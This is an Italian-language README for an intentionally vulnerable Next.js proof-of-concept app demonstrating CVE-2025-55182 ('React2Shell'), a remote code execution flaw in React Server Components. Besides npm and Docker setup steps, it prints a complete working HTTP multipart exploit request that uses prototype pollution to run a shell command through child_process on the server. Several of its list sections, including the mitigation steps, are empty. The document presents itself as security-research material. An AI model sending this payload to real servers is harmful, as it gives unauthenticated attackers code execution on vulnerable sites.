
Applicazione Next.js proof-of-concept che dimostra CVE-2025-55182 (React2Shell), una RCE critica nei React Server Components, con esempio di exploit e indicazioni di mitigazione per la ricerca sulla sicurezza.
Questa è un'applicazione Next.js proof-of-concept vulnerabile a CVE-2025-55182 (nota anche come "React2Shell"), una vulnerabilità critica di esecuzione remota di codice (RCE) nei React Server Components.
Questa applicazione è intenzionalmente vulnerabile e dovrebbe essere utilizzata SOLO per:
NON:
CVE-2025-55182 colpisce:
La vulnerabilità deriva da una deserializzazione non sicura nella gestione dei payload di React Server Components, consentendo a utenti non autenticati di eseguire codice arbitrario sul server tramite richieste HTTP appositamente create.
Installa le dipendenze:
npm install
Avvia il server di sviluppo:
npm run dev
Accedi all'applicazione: Apri http://localhost:3000 nel tuo browser.
Costruisci l'immagine Docker:
docker build -t nextjs-cve-2025-55182 .
Esegui il container:
docker run --rm -p 3000:3000 nextjs-cve-2025-55182
Accedi all'applicazione: Apri http://localhost:3000 nel tuo browser.
/): Un semplice modulo di login che utilizza React Server Components/dashboard): Una pagina protetta accessibile dopo il loginQuesta applicazione utilizza:
La vulnerabilità risiede nel meccanismo di deserializzazione dei payload RSC, che può essere sfruttato inviando richieste HTTP multipart dannose direttamente alle route delle pagine (ad es. http://localhost:3000 o http://localhost:3000/dashboard). L'exploit funziona su qualsiasi pagina che utilizza React Server Components.
La vulnerabilità può essere sfruttata inviando richieste HTTP appositamente create direttamente alle route delle pagine (ad es. http://localhost:3000 o http://localhost:3000/dashboard). L'exploit funziona su qualsiasi pagina che utilizza React Server Components.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
L'exploit prende di mira direttamente le route delle pagine: funziona su localhost:3000 (homepage) o localhost:3000/dashboard (pagina dashboard).
Per risolvere questa vulnerabilità:
Questa proof-of-concept è fornita solo a scopo educativo e di ricerca sulla sicurezza.